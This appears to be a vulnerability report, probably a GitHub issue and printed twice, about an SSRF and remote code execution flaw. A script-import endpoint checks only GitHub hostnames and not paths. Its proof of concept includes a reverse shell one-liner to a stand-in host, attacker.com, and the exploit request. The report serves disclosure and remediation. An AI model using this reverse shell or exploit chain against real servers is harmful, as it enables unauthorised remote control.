Title
CRITICAL: Server-Side Request Forgery (SSRF) and Arbitrary API Access via Incomplete URL Validation
Description
The /api/scripts/import_github endpoint is designed to fetch bash scripts from GitHub repositories by accepting a user-provided url parameter.
The application attempts to prevent SSRF (Server-Side Request Forgery) by validating that the host is either github.com or raw.githubusercontent.com.
From app.py:
_parsed = urllib.parse.urlparse(url)
_ALLOWED = {"github.com", "raw.githubusercontent.com"}
_ALLOWED_SCHEMES = {"http", "https"}
if (
_parsed.scheme.lower() not in _ALLOWED_SCHEMES
or _parsed.hostname not in _ALLOWED
):
return jsonify({"error": "Only GitHub URLs are allowed", "success": False}), 400
# Reconstruct the URL using only the validated components to prevent parser differentials
safe_url = f"{_parsed.scheme}://{_parsed.hostname}{_parsed.path}"
if _parsed.query:
safe_url += f"?{_parsed.query}"
While the domain allowlist appears robust, it entirely fails to restrict the path segment. This means that any path on github.com or raw.githubusercontent.com is considered a valid safe_url.
An attacker can exploit this to perform actions on behalf of the server infrastructure against GitHub or other services hosted on those domains, or extract sensitive files from private repositories if the server's environment has ambient credentials or if GitHub's internal routing can be abused. More critically, an attacker can supply the URL of a malicious file hosted on an attacker-controlled GitHub repository. Since raw.githubusercontent.com/Attacker/MaliciousRepo/main/payload.sh passes the check, the server will fetch this arbitrary file and save it to the local SCRIPTS_DIR.
This allows an attacker to bypass intended workflows and directly plant malicious bash scripts into the application's script directory. Once planted, the attacker can use the /api/scripts/run endpoint to execute the newly imported malicious script, resulting in Remote Code Execution (RCE) on the server.
Proof of Concept
- An attacker creates a public GitHub repository and uploads a bash script named
reverse_shell.sh containing:
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1
- The attacker sends a POST request to
/api/scripts/import_github:
{
"url": "https://raw.githubusercontent.com/Attacker/Repo/main/reverse_shell.sh",
"category": "utils",
"filename": "backup"
}
- The server's validation logic parses the URL, sees the hostname is
raw.githubusercontent.com, and accepts it.
- The server downloads the attacker's script and saves it to
SCRIPTS_DIR/utils/backup.sh.
- The attacker calls
/api/scripts/run on utils/backup.sh to trigger the reverse shell and execute arbitrary commands.
Recommended Fix
Relying solely on the top-level domain is insufficient for validating input from hosting platforms that host arbitrary, untrusted user content.
- Restrict Repositories/Organizations: Ensure the script can only be imported from an explicitly approved list of repositories or organizations (e.g., matching the path against
^/[A-Za-z0-9_.-]+/).
- Disable Arbitrary Imports: If the intended behavior is not to allow importing from any random GitHub repository, restrict the path so it must begin with a trusted organization or repository name (e.g.,
_parsed.path.startswith('/MyOrg/')).
- Sandbox Execution: Even if the file is imported, imported scripts should undergo additional scrutiny or be placed in a restricted, non-executable directory until manually reviewed by an administrator.
/assign
Title
CRITICAL: Server-Side Request Forgery (SSRF) and Arbitrary API Access via Incomplete URL Validation
Description
The
/api/scripts/import_githubendpoint is designed to fetch bash scripts from GitHub repositories by accepting a user-providedurlparameter.The application attempts to prevent SSRF (Server-Side Request Forgery) by validating that the host is either
github.comorraw.githubusercontent.com.From
app.py:While the domain allowlist appears robust, it entirely fails to restrict the path segment. This means that any path on
github.comorraw.githubusercontent.comis considered a validsafe_url.An attacker can exploit this to perform actions on behalf of the server infrastructure against GitHub or other services hosted on those domains, or extract sensitive files from private repositories if the server's environment has ambient credentials or if GitHub's internal routing can be abused. More critically, an attacker can supply the URL of a malicious file hosted on an attacker-controlled GitHub repository. Since
raw.githubusercontent.com/Attacker/MaliciousRepo/main/payload.shpasses the check, the server will fetch this arbitrary file and save it to the localSCRIPTS_DIR.This allows an attacker to bypass intended workflows and directly plant malicious bash scripts into the application's script directory. Once planted, the attacker can use the
/api/scripts/runendpoint to execute the newly imported malicious script, resulting in Remote Code Execution (RCE) on the server.Proof of Concept
reverse_shell.shcontaining:/api/scripts/import_github:{ "url": "https://raw.githubusercontent.com/Attacker/Repo/main/reverse_shell.sh", "category": "utils", "filename": "backup" }raw.githubusercontent.com, and accepts it.SCRIPTS_DIR/utils/backup.sh./api/scripts/runonutils/backup.shto trigger the reverse shell and execute arbitrary commands.Recommended Fix
Relying solely on the top-level domain is insufficient for validating input from hosting platforms that host arbitrary, untrusted user content.
^/[A-Za-z0-9_.-]+/)._parsed.path.startswith('/MyOrg/'))./assign